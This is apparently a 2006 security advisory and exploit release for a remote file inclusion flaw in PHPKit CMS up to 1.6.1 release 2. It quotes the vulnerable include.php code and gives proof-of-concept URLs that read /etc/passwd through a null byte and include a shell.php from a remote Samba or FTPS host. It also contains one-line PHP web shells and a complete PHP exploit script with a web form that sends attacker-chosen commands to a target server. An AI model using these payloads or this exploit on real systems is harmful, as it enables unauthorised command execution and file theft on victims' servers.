---------- PHPKit <= v.1.6.1 release 2 remote code execution -------------------
software:
site: www.phpkit.de
description: a Content Management / homepage / community building software
written in PHP language
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--------
vulnerable code in include.php at line 558/579:
...
if(!empty($path))
$path_filename=pkDIRPUBLIC.(substr($path,-4)=='.php' ? substr(basename($path),0,-4) : $path).pkEXT;
if(filecheck($path_filename))
{
include($path_filename);
}
[*] elseif(filecheck($path) && strstr(strtolower($path),'.php') && !strstr(strtolower($path),'http://') && !strstr(strtolower($path),'https://') && !strstr(strtolower($path),'ftp://') && !strstr($path,"../"))
{
include($path);
}
elseif(!strstr(strtolower($file),'http://') && filecheck($file) && !strstr($file,"../") && file_extension($file)!='php')
{
$site_body.=implode('',file($file));
}
elseif(!empty($src))
{
$src=pkEntities($src);
eval("$site_body.="".getTemplate("site_iframe")."";");
}
else
pkEvent('page_not_found');
...
and in inc/func/default.php at line 355-362:
...
function filecheck($file)
{
if(!($fp=@fopen($file,'r')))
return false;
fclose($fp);
return true;
}
...
"path" var is not properly sanitized before to be used to include files from
local resources. Look carefully at [*]: script checks if "path" is
an existing and readable file, it must not contain "http://", "ftp://" url
wrappers and "../" chars, it must contain the ".php" extension.
This checks can be easily overrided to include files from local and external
resources, poc:
if magic_quotes_gpc = Off, you can view any file on target system using a null
char:
http://[target]/[path]/include.php?path=/etc/passwd%00.php
http://[target]/[path]/include.php?path=c:boot.ini%00.php
(about this: strstr() function find ".php" extension, but fopen() and include()
do not consider any char after a null char)
regardless of any php.ini settings you can include an arbitrary php file from
local resources:
http://[target]/[path]/include.php?path=c:[path_to]test.php
http://[target]/[path]/include.php?path=/[path_to]/test.php
also, since fopen() and include() functions support Samba and FTP secure url
wrappers, if allow_url_fopen = On, you can include a php file from external
resources, poc:
from a samba server:
http://[target]/[path]/include.php?path=\192.168.1.2cshell.php
from a ftp secure server (this should works if php is compiled in support for
OpenSSL)
http://[target]/[path]/include.php?path=ftps://username:password@somehos
t/shell.php
if shell.php have this code inside:
<?php system($_GET[cmd]);?>
you can execute commands on target system, poc:
http://[target]/[path]/include.php?cmd=ls%20-la&path=\192.168.1.2cshe
ll.php
------------------------------------------------------------------------
--------
exploit:
<?php
# ---PHPKIT_161r2_incl_xpl.php 4.27 16/02/2006 #
# #
# PHPKIT <= 1.6.1R2 remote commands execution exploit #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> works with allow_url_fopen = On #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can #
# see is the strategy out of which victory is evolved." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);
echo'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit **
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
* PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/phpkit/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\192.
168.1.2\c\path_to\shell.php </span></p> <p> <input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p>
<p><input type="text" name="proxy"><span class="Stile5"> send exploit through
an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location]));
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class="Stile5">";
if (($host<>'') and ($path<>'') and ($cmd<>'') and ($smb_location<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("r","",$host);$host=str_replace("n","",$host);
$path=str_replace("r","",$path);$path=str_replace("n","",$path);
# STEP X -> One and unique, arbitrary remote inclusion ...
$packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User-Agent: GoogleBot 1.1rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{echo "Note: on \\someip\path_to\shell.php you need this code:<br><br>";
echo nl2br(htmlentities("
<?php
ob_clean();echo"Hi Master!";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;
?>
"))."<br>";
echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>
------------------------------------------------------------------------
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rgod
site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/phpkit_161r2_incl_xpl.html
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Polish
English